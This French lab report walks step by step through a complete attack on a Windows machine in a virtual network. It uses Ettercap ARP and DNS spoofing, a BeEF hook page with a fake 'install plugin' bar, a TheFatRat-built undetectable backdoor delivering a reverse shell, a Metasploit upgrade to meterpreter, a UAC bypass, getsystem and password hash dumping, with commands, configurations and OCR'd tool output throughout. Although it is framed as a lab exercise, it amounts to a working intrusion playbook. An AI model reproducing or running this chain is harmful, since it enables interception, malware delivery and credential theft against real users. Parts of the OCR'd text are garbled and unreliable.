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[bookmark: _Toc137537961]Présentation des éléments
[bookmark: _Toc137537962]Outils
Ettercap :
[image: Ettercap and middle-attacks tutorial]Ettercap est un outil de surveillance en réseau open-source qui est principalement utilisé pour l'analyse de paquets en temps réel et la capture de données en transit sur un réseau local. Il peut être utilisé pour diverses activités malveillantes telles que la surveillance du trafic réseau, l'attaque de l'homme du milieu (MITM), l'arp spoofing, le sniffing de mot de passe, le déni de service (DoS) et la redirection de session.
Le fonctionnement d'Ettercap repose sur la technique ARP spoofing. ARP (Address Resolution Protocol) est un protocole utilisé pour résoudre les adresses MAC en adresses IP. En falsifiant les tables ARP, un attaquant peut intercepter et inspecter le trafic de l'utilisateur, modifier les paquets en transit et même injecter de nouveaux paquets. Cette technique permet également à un attaquant de détourner la communication entre deux hôtes en temps réel.
Les fonctionnalités d'Ettercap comprennent l'analyse de protocole, la capture de mot de passe, le filtrage des paquets, la redirection de session, l'injection de paquets, le déni de service, la détection de systèmes d'exploitation, l'analyse de vulnérabilités et la prise en charge de plugins.

Metasploit :
[image: "Metasploit" T-shirt by Weeev | Redbubble]Metasploit est une plateforme open-source de tests de pénétration qui permet aux professionnels de la sécurité de tester et d'évaluer les vulnérabilités des systèmes. Metasploit est largement utilisé pour réaliser des tests d'intrusion, des audits de sécurité et des évaluations de vulnérabilité.
La plateforme Metasploit offre des fonctionnalités avancées pour exploiter des vulnérabilités sur les systèmes cibles. Elle fournit également une grande variété d'outils pour la création de scripts personnalisés, de modules d'exploitation et de payloads. Metasploit permet également aux utilisateurs d'automatiser les tests de sécurité et de créer des rapports détaillés sur les résultats des tests.
Metasploit comprend deux composants principaux : le Framework Metasploit et la Base de données Metasploit. Le Framework Metasploit est la partie principale de la plateforme qui fournit l'interface en ligne de commande et les outils pour les tests d'intrusion. La Base de données Metasploit est utilisée pour stocker les informations sur les cibles, les vulnérabilités et les résultats des tests.
Metasploit est également livré avec une bibliothèque d'exploits et de modules d'exploitation préconstruits qui peuvent être utilisés pour tester les vulnérabilités courantes.





Beef :
[image: Beef framework adding custom pages – HackingVision – HackingVision]BeEF (Browser Exploitation Framework) est un framework open-source pour tester la sécurité des navigateurs web et des applications web. BeEF permet aux professionnels de la sécurité de tester la vulnérabilité des navigateurs web en exploitant les failles dans les technologies web telles que HTML5, Flash et JavaScript.
Le framework BeEF est utilisé pour mener des attaques de type cross-site scripting (XSS) en détournant le contrôle des navigateurs web vulnérables. BeEF utilise des techniques d'interception de session pour prendre le contrôle du navigateur web de la victime, puis utiliser cette session pour accéder à d'autres parties de leur système.
Les fonctionnalités de BeEF comprennent l'analyse de navigateur web, la capture de session, la manipulation de navigateur web, l'envoi de commandes à distance, la surveillance de l'activité en temps réel et la prise en charge de plugins.

TheFatRat :
[image: Compile malware with famous payloads for exploitation using the ...]TheFatRat est un outil open-source de génération de backdoors pour les systèmes Windows, Linux et MacOS. L'outil permet aux professionnels de la sécurité de générer des backdoors avec des fonctionnalités avancées pour les tests d'intrusion, les audits de sécurité et les évaluations de vulnérabilité.
TheFatRat dispose d'un ensemble de fonctionnalités avancées qui permettent de générer des backdoors pour différents types d'attaques, telles que la récupération de mots de passe, l'exécution de commandes à distance et la collecte d'informations système. L'outil peut également être utilisé pour créer des payload personnalisés, ce qui permet aux professionnels de la sécurité de créer des backdoors sur mesure pour leurs besoins spécifiques.
TheFatRat est également livré avec une bibliothèque de payload préconstruits qui peuvent être utilisés pour tester les vulnérabilités courantes.














[bookmark: _Toc137537963]Réseau du LAB
[bookmark: _Toc137537964]Paramètre du réseau NAT
[image: Graphical user interface, text, application, email

Description automatically generated]Notre lab est virtualisé avec VMWare Workstation 16 Pro dans un réseau NAT possédant les paramètres ci-contre.

[image: Graphical user interface, text, application
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[bookmark: _Toc137537965]Schéma réseau
[image: Diagram

Description automatically generated]


[bookmark: _Toc137537966]Schéma de l’attaque
[image: Diagram

Description automatically generated]

Cette attaque va ce déroulé en plusieurs temps, en premiers nous allons corrompre la table arp de la passerelle en ce fessant passer pour notre victime pour récupérer le trafique.
Grace à notre plugin dns_spoof nous redirigeons le flux linux.org vers notre machine Kali sur le port 80 ou écoute le service Apache qui lui va rediriger vers le port 3000 ou écoute Beef Framework.
Une fois la victime connecté sur le site de Beef Framework, nous envoyons notre payload qui retourne un reverse shell sur Metasploit.
Ensuite nous allons transformer notre reverse shell en meterpreter et utiliser un exploit qui nous permet de récupérer les droits admin du compte utilisateur qui nous permettra de récupérer le compte NT AUTORITY/System.
[bookmark: _Toc137537967]Préparation de l’attaque
[bookmark: _Toc137537968]Paramétrage d’Ettercap
[bookmark: _Toc137537969]Installation
Pour installer ettercap, ouvrir un terminal en root ou utiliser sudo devant les commandes.
apt install ettercap-text-only -y

[bookmark: _Toc137537970]Paramétrage
etter.conf:
En premier on va paramétrer le fichier de configuration « etter.conf » d’ettercap pour son fonctionnement.
nano /etc/ettercap/etter.conf
Nous commentons les lignes ec_uid et ec_gid en mettant un #.
Puis nous ajoutons à la suite les lignes suivantes :
· ec_uid = 0
· ec_gid = 0

[image: Text

Description automatically generated]
Puis plus loin, nous décommentons les lignes concernant iptables dans la partie Linux.
[image: Text

Description automatically generated with medium confidence]

etter.dns:
Maintenant nous allons paramétrer le fichier « etter.dns » pour le DNS spoofing.
nano /etc/ettercap/etter.dns
Nous remplissons les lignes comme ci-dessous sous le nom de domaine que l’on veut spoofer.
[image: Text

Description automatically generated]



















[bookmark: _Toc137537971]Création du payload avec TheFatRat
[bookmark: _Toc137537972]Installation
TheFatRat est un outil qui est dépendant de Metasploit Framework, il faut donc qu’il soit installé en premier si ce n’est pas déjà le cas.
apt install metasploit-framework -y
Puis nous installons TheFatRat
git clone httpss://github.com/Screetsec/TheFatRat.git
cd TheFatRat
chmod +x setup.sh
./setup.sh

[bookmark: _Toc137537973]Création
Nous lançons l’outil
fatrat
Nous arrivons sur cette interface :
[image: Text

Description automatically generated]
Nous faisons le choix [06] Create Fud Backdoor 1000% with PwnWinds [Excellent] 
Et nous arrivons sur cette fenêtre :
[image: Text

Description automatically generated]












Nous faisons le choix [02] Create exe file with C# + Powershell (FUD 100%) 
Et nous renseignons les informations demandées :
· LHOST : adresse IP de notre machine attaquante
· LPORT : le port d’écoute (4444 par défaut sur le handler de Metasploit)
· Le nom du payload sans l’extension 
· Choisir le payload, dans notre cas nous choisissons le [ 2 ] windows/shell/reverse_tcp
[image: Text

Description automatically generated]

Après la création du payload, nous nous plaçons sur le dossier ou est contenu notre payload.exe et nous lançons un server http via python sur le port 8080 via la commande :
python3 -m http.server 8080








[bookmark: _Toc137537974]Paramétrage de Beef Framework
[bookmark: _Toc137537975]Installation
Pour installer Beef Framework, nous faisons comme suis :
git clone https://github.com/beefproject/beef
cd beef
./install

[bookmark: _Toc137537976]Paramétrage
Avant de lancer Beef Framework, nous devons paramétrer le fichier de configuration pour modifier les informations d’identifications par défaut
nano config.yaml
Et nous modifions les informations user et passwd 
[image: Text
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[bookmark: _Toc137537977]Lancement de Beef Framework
./beef
Une fois lancer, le résultat doit ressembler à l’image ci-dessous, on note une url qui nous intéresse pour contrôler Beef Framework
[image: Text

Description automatically generated]

On suit ce lien et on tombe sur le page de connexion 
[image: Graphical user interface, application

Description automatically generated]



On entre nous informations paramétrées plus tôt et on arrive sur la page d’accueil
[image: Graphical user interface, text, application

Description automatically generated]

Nous copions le lien de l’hypertext encadrer en rouge dans l’image car nous allons en avoir besoin pour le point suivant concernant la redirection avec Apache.


[bookmark: _Toc137537978]Paramétrage de la redirection Apache2
[bookmark: _Toc137537979]Installation 
Si Apache2 n’est pas installé sur votre système, l’installer via la commande suivante :
apt-install apache2 -y

[bookmark: _Toc137537980]Configuration
En premier nous activons les modules nécessaires :
a2enmod proxy proxy_http proxy_balancer lbmethod_byrequests

Puis nous éditons le fichier de configuration :
nano /etc/apache2/sites-available/000-default.conf
Nous commentons toutes les lignes non commentées et ajoutons au début les lignes suivantes :
Redirect / lien http de votre machine d’attaque/r

ProxyPreserveHost on
ProxyPass /r lien vers le site beef copier plus tôt
ProxyPassReverse /r lien vers le site beef copier plus tôt
[image: Text

Description automatically generated]

Puis suivant votre cas, nous démarrons ou rechargeons la configuration d’Apache2 :
systemctl start apache2

systemctl reload apache2














[bookmark: _Toc137537981]Lancement du handler sur Metasploit
Nous lançons Metasploit 
msfconsole
Et nous lançons la commande de recherche de ce que nous recherchons 
search multi/handler

[image: Graphical user interface

Description automatically generated]

On voit que ce qui nous intéresse est en position 5, donc nous lançons la commande suivante pour utiliser l’exploit 
use 5

[image: ]

Nous lançons la commande suivante pour voir les paramètres de l’exploit :
show options

[image: Text

Description automatically generated]
Tous les paramètres marqués en yes sont obligatoire pour le fonctionnement de l’exploit
Le payload par défaut n’est pas celui que nous utilisons donc nous devons modifier certains paramètres :
set payload windows/shell/reverse_tcp
set lhost adresse ip de la machine attaquante
Une fois tous les paramètres configurés, nous laçons le handler via la commande :
exploit
[image: Graphical user interface

Description automatically generated]

[bookmark: _Toc137537982]Désactivation de Microsoft Defender 
Pour les besoins de cette démo, nous allons désactiver la protection en temp-réel de Microsoft Defender.
Pour cela, se rendre sur la console Windows Security, dans l’onglet Virus & threat protection, cliquer sur Manage setting.
[image: Graphical user interface, application

Description automatically generated]

Désactiver la protection en temps-réel en acceptant l’UAC.
[image: Graphical user interface, text, application, email

Description automatically generated]

[bookmark: _Toc137537983]Lancement de l’attaque
[bookmark: _Toc137537984]Man In The Middle and DNS Spoofing
Pour commencer notre attaque, nous nous plaçons en Man In The Middle avec ettercap 
ettercap -T -q -i eth0 -M arp:oneway /172.20.100.2// /172.20.100.128//  -P dns_spoof
-T 	: Lancement en Text-Only
-q 	: Ne pas montrer les résultats des snif du réseau
-i 	: L’interface réseau à utiliser
-M 	: Lancement d’une attaque Man In The Middle (MITM)
-P 	: Plugin à lancer

Via cette commande, nous lançons ettercap en version texte et quiet sur l’interface eth0, nous lançons une attaque MITM sur la table arp en mode oneway (uniquement vers le Target 1 vers le Target 2) avec comme Target 1 172.20.100.2 et 172.20.100.128 en Target 2 et nous lançons en même temps le plugin dns_spoof
[image: Text

Description automatically generated]

Sur notre machine cible, via la commande 
arp -a
 on voit aucun changement sur la table arp.
Mais si on ping le domaine linux.org, le flux est redirigé vers notre machine attaquante.
[image: A picture containing text

Description automatically generated]

Et de notre côté nous voyons bien que le nom de domaine a été spoofé
[image: Graphical user interface, application
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[bookmark: _Toc137537985]Exploitation Beef
Sur notre machine cible, nous tapons le nom de domaine linux.org et en forçant quelque fois de passer en http, nous arrivons sur le site créer par Beef Framework.
Nous pouvons voir que le proxyPreserveHost n’a pas fonctionné.
[image: Graphical user interface, text, application, Teams

Description automatically generated]

De retour sur notre machine attaquante, sur le site de contrôle de beef, nous voyons que la connexions c’est établi 
[image: Graphical user interface, text, application

Description automatically generated]

Nous nous rendons dans l’onglet Commands et on recherche Fake Notification Bar (Chrome) 
[image: Graphical user interface, application, Word

Description automatically generated]
Sur cette page nous mettons le lien http de notre server python sur le port 8080 et le nom de notre payload et nous cliquons sur Execute.
[image: Graphical user interface, application, Word

Description automatically generated]

De nouveau sur notre machine cible, nous voyons la barre de notification nous invitant à installer notre exécutable.
[image: ]

[image: Graphical user interface, text, application, Word

Description automatically generated]Nous devons forcer la sécurité Edge de garder le fichier car il est détecté comme suspect.
[image: Graphical user interface, application

Description automatically generated]

Une fois fait, nous voyons l’exécutable dans notre dossier téléchargement, et nous pouvons l’exécuter.
[image: Graphical user interface, text, application

Description automatically generated]

La sécurité SmartScreen nous demande confirmation 
[image: Graphical user interface, text, application

Description automatically generated]



[bookmark: _Toc137537986]Exploitation Metasploit
Après cela, nous voyons sur notre handler que nous avons récupéré un reverse shell PowerShell sur le compte utilisateur de la machine.
[image: Text

Description automatically generated]

Nous passons la session en arrière-plan avec ctrl + Z

Avec la commande suivante nous pouvons voir les sessions ouvertes 
sessions
[image: Graphical user interface, text

Description automatically generated]

Maintenant le but est de faire évoluer notre reverse shell vers un meterpreter qui nous donnera plus d’option d’exploitation, pour cela nous recherchons
search shell_to_meterpreter
[image: A screenshot of a computer

Description automatically generated with medium confidence]

Nous avons notre résultat donc nous pouvons faire 
use 0
[image: Text

Description automatically generated]

Comme pour notre autre exploit, nous affichons les options avec 
show options
[image: Text

Description automatically generated]

Nous paramétrons le LHOST, LPORT et SESSION avec les informations correspondants a notre cas.
Dans le paramètre SESSION il faut mettre l’id de session que nous pouvons voir avec la commande sessions précédente.

Et nous pouvons faire 
exploit
[image: Text, website

Description automatically generated]

A la fin si tous c’est bien déroulé, nous pouvons refaire
sessions
Et nous pouvons voir qu’une nouvelle session c’est ouvert avec le type meterpreter
[image: Graphical user interface, text

Description automatically generated]





Nous pouvons donc entrer dans cette session avec la commande 
Sessions -i id de session
[image: Text

Description automatically generated with medium confidence]

Pour avoir la liste de toutes les commandes meterpreter possible avec
help

Voir avec quel utilisateur nous somme connecté
getuid
[image: Graphical user interface, application

Description automatically generated]

Voir la liste des processus en cours sur la machine
ps
[image: Graphical user interface, website

Description automatically generated]

Voir l’identifiant de processus dans lequel notre metrerpreter s’exécute
getpid
[image: ]

Et donc en vérifiant avec la liste des processus, nous pouvons voir le nom du processus qui exécute notre meterpreter, dans notre cas « powershell.exe »
[image: ]


[bookmark: _Toc137537987]Elévation de privilège
Maintenant pour nous le but est d’élevé nos privilèges afin de récupérer un compte administrateur et au mieux le compte NT AUTORITY/System qui est le compte qui possède le plus de droit sur Windows.
Pour cela on va d’abord mettre notre session en background via ctrl + z.
Ensuite nous allons lancer une recherche
search windows/local/by

La liste en résultat nous donne des exploitations possibles sur Windows.
[image: Graphical user interface

Description automatically generated]

Pour cet exemple, nous allons utiliser l’exploit Windows/local/bypassuac_dotnet_profiler 
A noté qu’il est possible que cet exploit ne fonctionne pas de votre côté, il faut s’adapter à la machine que l’on attaque.
Nous tapons la commande 
Use 10
Show options
[image: Text

Description automatically generated]
Nous remplissons les champs en fonction de notre situation, il faut également modifier le champs LPORT pour donner un port qui n’est pas encore utilisé.

Une fois fait, on lance la commande
exploit
[image: Text

Description automatically generated]

Une fois l’exploit complété, une nouvelle session meterpreter c’est lancée avec le compte de l’utilisateur.
Mais à la différence que le compte est en mode admin car il possède des droits sur la machine.
Donc nous pouvons lancer la commande suivante pour récupérer le compte system.
getsystem
[image: Text

Description automatically generated]

Nous voyons que l’on a basculé sur le compte NT AUTORITY/System
getuid
[image: ]

A ce niveau, nous avons un accès total à la machine, pour tester nous pouvons récupérer le hash des mots de passe de tous les utilisateurs de la machine
hashdump
[image: A screenshot of a computer

Description automatically generated with medium confidence]
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ettercap — etter.conf

configuration file
Copyright (C) ALOR & NaGA

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

[privs]
stec_uid # nobody is the default
sec_gid # nobody is the default
ec_uid
ec_gid
[mitm]
arp_storn_delay = 10 # milliseconds
arp_poison_smart = @ # boolean
arp_poison_warn_up # seconds
arp_poison_delay # seconds
arp_poison_icmp # boolean
arp_poison_reply # boolean
arp_poison_request = 0 # boolean
arp_poison_equal mac = 1 # boolean
dhcp_lease_time # seconds
port_steal_delay = 10 # seconds
port_steal_send_delay # microseconds
ndp_poison_warn_up = 1 # seconds
ndp_poison_delay = 5 # seconds
ndp_poison_send_delay = 1500 # microseconds
ndp_poison_icmp = 1 # boolean
ndp_poison_equal mac = 1 # boolean
icmpe_probe_delay = 3 # seconds
[connections]
connection_timeout = 300 # seconds

5 # seconds

connection_idle
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[10] Jump to msfconsole

[11] Searchsploit

[12] File Pumper [Increase Your Files Size]

[13] Configure Default Lhost & Lport

[14] Cleanup

[15] Help
[16] credits
[17] Exit

E[Yher:ik:tlf[ﬂ*[msnu] B
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PunWind Version vi.s
Puned Windows with backdoor
Author : Edo Maland (Screetsec)
Powershell Injection attacks on any Windows Platform

[1] Create a bat filesPowershell (FUD 100%)

[2] Create exe file with C# + Powershell (FUD 100%)

[3] Create exe file with apache + Powershell (FUD 100%)

[4] Create exe file with C + Powershell (FUD 98 %)

[5] Create Backdoor with C + Powershell + Embed PAf (FUD 80%)

[6] Create Backdoor with C / Meteperter reverse_tcp (FUD 97%)

[7] Create Backdoor with C / Metasploit Staging Protocol (FUD 98%)
[8] Create Backdoor with C to dll ( custom dll inject )

[91 Back to Menu

—[TheratRat]—[~]-[punwind]:
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[9]1 Back to Menu

[Theratkat]—[~I-Lpunwind]:
C o5

Your local IPV4 address is : 172.20.100.129
Your local IPV6 address is : fe80::20c:29ff:fee8:afo1
Your public IP address is : 95.178.88.12

Your Hostname is : 3(NXDOMAIN

Set LHOST IP: 172.20.1t

129
Set LPORT: 44644

Please enter the base name for output files :payload

windows/shell_bind_tcp
windows/shell/reverse_tcp
windows/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp_dns
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https

carwnR

Choose Payload
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# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net

# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission

#

# BeEF Configuration file

beef:
version: '0.5.4.0"
# More verbose messages (server-side)
debug: false
# More verbose messages (client-side)
client_debug: false
# Used for generating secure tokens
crypto_default_value_length: 80

# Credentials to authenticate in BeEF.
# Used by both the RESTful APT and the Admin interface
credentials:

“emmi”
"https: //Comnunication19!
"beef"

#passwd: "beef"

# Interface / IP restrictions
restrictions:
# subnet of IP addresses that can hook to the framework
permitted_hooking subnet: ["0.0.0.0/0", "::/0"]
# subnet of IP addresses that can connect to the admin UL
#permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
permitted_ui_subnet: [0.0.0.0/0", "::/0"]
# subnet of IP addresses that cannot be hooked by the framework
excluded_hooking_subnet: []
# slow API calls to 1 every api_attempt_delay seconds
api_attempt_delay: "0.05"

# HTTP server
http:
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[ L
. /beef
29:45]+] Browser Exploitation Framework (BeEF) 0.5.4.0
29:45] | Twit: abeefproject
29:45] | site: https://beefproject.com

29:45] | Blo //blog.beefproject. com
29:45]  |_ wiki: https://github.com/beefproject/beef/uiki
:29:45][*] Project Creator: /-« Al o (aWadeAlcorn)

migration_context()

- 0.0142s
:29:46][*] BeEF is loading. Wait a few seconds ...
29:51][+] 8 extensions enable

29:51] |  XSSRays

29:51] | Social Engineering

29:51] |  Requester

20:51] | Proxy

29:51] | Network

29:51] | Events

29:51] | Demos

29:51] |_ Admin UI

51][*] 303 modules enabled.
511[+] 2 network interfaces were detected
51][*] running on network interface: 127.0.0.1

29
29
29

29:51] | Hook URL: http://127.0.0.1:3000/hook.js
29:51] | UL URL: http://127.0.0.1:3000/ui/panel

29:51][+] running on network interface: .129
29:51] | Hook URL: http://172.20.100. hook. 15
29:51] I_ UT URL:  http://172.20.100.12 /ui/panel

29
29
29
120:

51][*] RESTFUL APT Key: a5c8395fd8986d6b2d21c583a502610Cbd0628a

51](1] [GeoIP] Could not find MaxMind GeoIP database: '/usr/share/GeoIP/GeoLite2-City.mmdb
51][*] HTTP Proxy: http://127.0.0.1:6789

51][*] BeEF server started (press control+c to stop)

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
]
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Hooked Browsers

(I 0nine Browsers
(S Offine Browsers

Getingsurea 5] Loz T zomes T corentomer

eEF

Offial websie: htp:beefproject com/
Getting Started
Welcome to BeEF!

Before being able to ully explore the framework you wil have to ook a browser. To begin with you
can poin a browser towards the basic demo page here, o the advanced version here

1fyou want to hook ANY page (fr debugging reasons of course), drag the following bookmarkiet ik
o your browser's bookmark bar,then simply clck the shortcut on another page: Hook Mel

After a browseris hooked into the ramework they vill ppear i the ‘Hooked Browsers’ panel on the
left Hooked browsers wil appear i either an oniine of offine state, depending on how recently they
have polled the framework.

Hooked Browsers

To interact with  hooked browser simply letclick t,  new tab wil appear. Each hooked browser tab,
has a number of sub-abs, described below:

Details: Display information about the hooked browser afer youve run some command modules.
Logs: Displays recent log enties reated to his partcular hooked browser.

‘Commands: This tab is where modules can be exceuied against the hooked browser. This is
vihere most of the BeEF functionalty resides. Most command modules consis of Javascrpt code.
that s execued against the selecied Hooked Browser. Command modules are able o perlorm any
actons that can be achieved through Javascrpt for exampl they may gather nformation about the.
Hooked Browser, manipulate the DOM or perform other activites such as exploiing winerabiltes.
within the local network of the Hooked Browser.

‘Each command module has a traffc ight icon, which is used to ndicate the following:
© The command module works against the target and should be invisibl to the user
© The command module works against the target, but may be visible o the user
‘The command modue is yet o be verlfied against s target
@ Tne command module does not work against this target
XssRays: The XssRays tab allows the user o check i ks, forms and URI path of the page

(where the browser s hooked) s vulnerable (0 XSS.
B e ot LT remueste on hehalf of the hooked
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BVirtualhost >

Redirect / http://172.20.100.129/r

ProxyPreserveHost on
ProxyPass /r http://172.20.100.129:3000/demos/basic. html
ProxyPassReverse /r http://172.20.100.129:3000/demos/basic. html

# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating

# redirection URLs. In the context of virtual hosts, the ServerName

# specifies what hostname must appear in the request's Host: header to

# match this virtual host. For the default virtual host (this file) this

# value is not decisive as it is used as a last resort host regardless

# However, you must set it for any further virtual host explicitly
#ServerName wi.example.con

#serverAdmin webmasteralocalhost

#DocumentRoot /var/wmi/html

# Available loglevels: traces, ..., tracel, debug, info, notice, warn
# error, crit, alert, emerg

# It is also possible to configure the loglevel for particular

# modules, e.g.

#LogLevel info ssl:warn

#ErrorLog ${APACHE_LOG_DIR}/error.log
#CustomLog ${APACHE_L0G_DIR}/access.log combined

For most configuration files from conf-available/, which are
enabled or disabled at a global level, it is possible to
include a line for only one particular virtual host. For example the
following line enables the CGI configuration for this host only

# after it has been globally disabled with "a2disconf"

#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
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Matching Modules

Name
exploit/linux/local/apt_package manager_persistence
exploit/android/local/janus
auxiliary/scanner/http/apache_mod_cgi_bash_env
exploit/linux/local/bash_profile_persistence
exploit/linux/local/desktop_privilege_escalation
exploit/j

exploit/windows/mssql/mssql_linkcrawler
exploit/windows/browser/persits_xupload_traversal
exploit/linux/local/yun_package_manager_persistence

Disclosure Date Rank Check Description
09 excellent No  APT Package Manager Persistence
07-31 manual ~ Yes  Android Janus APK Signature bypass

normal  Yes  Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
normal ~ No  Bash Profile Persistence
excellent Yes  Desktop Linux Password Stealer and Privilege Escalation
manual ~ No  Generic Payload Handler
great No  Microsoft SQL Server Database Link Crawling Command Execution
excellent No  Persits XUpload ActiveX MakeHttpRequest Directory Traversal

2003-12-17 excellent No  Yum Package Manager Persistence

Interact with a module by name or index. For example info 8, use 8 or use exploit/linux/local/yun_package_manager_persistence

s f

6

> 1
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nsf6 exploit(ii «i/hondier) >
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Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST  172.20.100.129  yes The listen address (an interface may be specified)

LPORT  44id yes The listen port

Exploit target:

Id Name

0 wildcard Target
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msf6 exploit( i« /i) > exploit

[+] Started reverse TCP handler on 172.20.100.129:4444
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g3 ) |l

Home.

Virus & threat protection

Account protection

Firewall & network protection

App & browser control

Device security

Device performance & health

Family options

® Current threats

No current threats.

Last scan: 4/26/2023 3:35 PM (quick scan)
0 threats found.

Scan lasted 3 minutes 7 seconds

36269 files scanned.

Quick scan

Scan options
Allowed threats

Protection history

% Virus & threat protection settings

No action needed.

Manage settings
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Real-time protection

Locates and stops malware from installing or running on your device. You

can tur off this setting for a short time before it turns back on
automatically.

© Real-time protection is off, leaving your device vulnerable.

@D o
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ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:
etho — 00:0C:29:E8:AF:91

172.20.100.129/255.255.255.0

£e80::20c:29f f: fee8:af91/64

Privileges dropped to EUID 0 EGID 0...

34 plugins
42 protocol dissectors
57 ports monitored

28230 mac vendor fingerprint

1766 tcp 05 fingerprint

2182 known services

Lua: no scripts were specified, not starting u

Scanning for merged targets (2 hosts)

5 | 100.00 %

2 hosts added to the hosts list ...

ARP poisoning victims:

GROUP 1 : 172.20.100.2 00: 2

GROUP 2 : 172.20.100.128 00:0C:29:0A:9E:33
starting Unified sniffing..

Text only Interface activated...
Hit 'h' for inline help

Activating dns_spoof plugin ...
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PS C:\Users\Samus> arp -2

Interface: 172.20.100.125 --- @xa
Internet Address Physical Address Type
172.20.100.2 00-50-56-ed-73-c2  dynamic
172.20.100.129 00-0c-29-e8-2F-91  dynamic
172.20.100.255 FEFEFEEEEEEE  static
224.0.0.22 01-00-52-00-00-16  static
224.0.0.251 01-00-52-00-00-7>  static
224.0.0.252 01-00-50-00-00-fc  static
239.255.255.250 01-00-5e-7¢-FF-fa  static
255.255.255.255 FEFEEEEEEEEE  static

PS C:\Users\Samus> ping linux.org

Pinging linux.org [172.20.10.129] with 32 bytes of data:
Reply from 172.26.166.129: bytes=32 time=lms TTL=64
Reply from 172.26.166.12

Reply from 172.26.166.12
Reply from 172.26.166.12

Ping statistics for 172.20.160.129:
Packets: Sent = 4, Received - 4, Lost = @ (0% loss),
Approximate round trip times in milli-seconds:
Mininum = ems, Maximum = lns, Average = oms
PS C:\Users\samus>
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dns_spoof: A [linux.org] spoofed to [172.20.100.129] TTL [3600 s]
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O | [) 8etF Basic Demo x |5

] A Notsecure | 172.20.100.129:3000/demos/basichtm!

=eEF

‘You should be hooked into BeEF.
Have fun while your browser is working against you.

‘These links are for demonstrating the "Get Page HREFs" command module:

‘The Browser Exploitation Framework Project homepage
BeEF Wiki

Browser Hacker's Handbook

Slashdot

Have a go at the event logger. Insert your secret here:

You can also load up a more advanced demo page.
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"Displays a fake notification bar at the top of the screen, similar o those presented in Chrome. I the user clicks the notification they will be prompted to download the file specified below.
You can mount an exe in BeEF s per extensions/social_enginesing/droppersireadme it

it

hitp/172.20.100.129:8080/payload.exe
Need to installtis exe.
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< C A Notsecure | 172.20.100.129:3000/demos/basic.html A =

Install Missing Plugins.
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A Make sure you trust
payload.exe before you
open it

Microsoft Defender SmartScreen couldn't
verify if this file is safe because it isn't
commonly downloaded. Make sure you
trust the file you're downloading or its
source before you open it

Name: payload.exe
Publisher: Unknown

Show less ~

Keep anyway
Report this app as safe

Learn more





image38.png
Downloads o a

A Pavioadexe isnt commonly downios
trust payload exe before you open it

Removed
Keep
- poroniet
Removed Report tis il ss ssfe
_ paytoncnt Leam more
~ Removed
@ Copy downloadlink
payioadat

Coulnt dounlosd - Virus etected

>




image39.png
11 | Downloads

Wome st view

«  « 4 &> TisPC > Downlosds v & | O SeachDownloads
B Neme Date modified Tpe Size

I Desktop » ¥ Today (1)

3o 4 [Epeyiosd 426720031020AM  Application 7K@

& Documents  #

(&= Pictures. b4





image40.png
>SmartScreen can't be reached right
now

Check your Internet connection. Microsoft Defender SmartScreen is
unreachable and can't help you decide f this app is ok to run.

Publisher: Unknown Publisher
App: payload exe
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msf6 exploit(iii i ondier) > exploit

[+] Started reverse TCP handler on 172.20.100.129:4444
[+] Encoded stage with x86/shikata_ga_nai
[+] Sending encoded stage (267 bytes) to 172.20.100.128

[+] Encoded stage with x86/shikata_ga_nai
[+] Sending encoded stage (267 bytes) to 172.20.100.128
[*] Command shell session 2 opened (172.20.100.129:4444 — 172.20.1f

128:49793) at 2023

04-26 16:05:57 +020!

shell Banner:
Microsoft Windows [Version 10.0.19044.1288]

C:\Users\Samus\Downloads>
C:\Users\Samus\Downloads>
C:\Users\Samus\Downloads>whoami
whoami

tallon\samus

Ci\Users\sanus\Downloads>l|
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msf6 exploit(i < 1iii0) > sessions

Active sessions

Connection
172.20.100.129: 4444 — 172.20.100.128:49817 (172.20.100.128)

Id Name Type Information
Shell Banner: Microsoft Windows [Version 10.0.19044.1288] ——

shell x86/windows

exploit(multi/handler) > [
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msf6 exploit(iiii/hondier) > search shell_to_meterpreter

Matching Modules

# Name Disclosure Date Rank  Check Description

post/multi/manage/ShEMINEONEEETpTEEET normal No  Shell to Meterpreter Upgrade

Interact with a module by name or index. For example info 8, use 0 or use post/multi/manage/shell_to_meterpreter

msf6 exploit(niiei/handier) >
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exploit(ii i /handier) > use 0
post(multi/manage/shell_to_meterpreter) > ||
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msf6 post( it e el te meterpreien) > show options

Module options (post/multi/manage/shell_to_meterpreter):

Name  Current Setting Required Description

HANDLER  true yes start an exploit/multi/handler to receive the connection

LHOST ~ 172.20.100.129 no 1P of host that will receive the connection from the payload (Will try to auto detect)
LPORT 4442 yes Port for payload to connect to

SESSION 6 yes The session to run this module on

view the full module info with the info, or info -d command.




image46.png
msf6 post(multi/manage/shell_to_meterpreter) > exploit

[*] Upgrading session ID: 6
[+] Starting exploit/multi/handler

[+] Started reverse TCP handler on 172.20.1
[+] Post module execution completed

msf6 post(multi/manage/shell_to_meterpreter) >

[+] Sending stage (200774 bytes) to 172.20.100.128

[*] Meterpreter session 8 opened (172.20.100.129:4441 —> 172.20.100.128:
[+] Stopping exploit/multi/handler

112914441

100 +0200

9827) at 2023-04-26 16:

msf6 post(multi/manage/shell_to_meterpreter) > [
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msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions

Id Name Type Information Connection
6 shell x86/windows shell Banner: Microsoft Windows [Version 10.0.19044.1288] —— 172.20.100.129:4444 —> 172.20.100.128:49817 (172.20.100.128)
8 meterpreter x64/windows TALLON\Samus @ TALLON

172.20.100.129:4441 — 172.20.100.128:49827 (172.20.100.128)
nsf6 post(multi/manage/shell_to_meterpreter) > [
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msF6 post(nuli/manase/shell to neterpreter) > sessions -1 8
[+] Starting interaction with 8

e © [
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meterpreter > getuid
Server username: TALLON\Samus
neterpreter > |
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meterpreter > ps

Process List

PID

